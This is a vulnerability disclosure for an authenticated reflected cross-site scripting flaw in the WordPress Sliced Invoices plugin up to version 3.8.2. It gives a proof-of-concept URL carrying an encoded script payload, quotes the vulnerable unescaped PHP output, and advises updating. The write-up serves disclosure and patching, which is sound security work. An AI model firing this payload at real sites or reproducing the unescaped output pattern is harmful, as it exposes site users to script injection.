Wordpress Sliced Invoices <= 3.8.2 Authenticated Reflected XSS
Wordpress Sliced Invoices plugin with a version lower then 3.8.2 is affected by an authenticated Reflected Cross-site scripting (XSS) vulnerability.
Intial submission of the vulnerability
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# Exploit Title: Wordpress Sliced Invoices <= 3.8.2 Authenticated Reflected XSS Vulnerability
# Date: 22-10-2019
# Exploit Author: Lucian Ioan Nitescu
# Contact: https://twitter.com/LucianNitescu
# Webiste: https://nitesculucian.github.io
# Vendor Homepage: https://slicedinvoices.com/
# Software Link: https://wordpress.org/plugins/sliced-invoices/
# Version: 3.8.2
# Tested on: Ubuntu 18.04 / Wordpress 5.3
1. Description:
Wordpress Sliced Invoices plugin with a version lower then 3.8.2 is affected by an authenticated Reflected Cross-site scripting (XSS) vulnerability.
2. Proof of Concept:
Reflected Cross-site scripting (XSS)
- Using an Wordpress user, access < your_target > /wp-admin/admin.php?action=duplicate_quote_invoice&post=%3Cscript%3Ealert(1)%3C%2fscript%3E
- The response will contain:
```
<body id="error-page">
<p>Creation failed, could not find original invoice or quote: <script>alert(1)</script></p></body>
</html>
```
Detailed analysis of the vulnerability
Under wp-content/plugins/sliced-invoices/admin/class-sliced-admin.php at line number 2236 we can observe the following unescaped output of user-supplied data:
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wp_die('Creation failed, could not find original invoice or quote: ' . $post_id);
Where the $post_id variable is assigned on line 2154 as:
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/*
* get the original post id
*/
$post_id = (isset($_GET['post']) ? $_GET['post'] : $_POST['post']);
This vulnerability could be easily exploited by accessing example.com/wp-admin/admin.php?action=duplicate_quote_invoice&post=%3Cscript%3Ealert(1)%3C%2fscript%3E where example.com is your target.
How to fix
Update to the latest available version of the Sliced Invoices plugin.
Public appearances
- Packet Storm: https://packetstormsecurity.com/files/154952/WordPress-Sliced-Invoices-3.8.2-Cross-Site-Scripting.html
Other references
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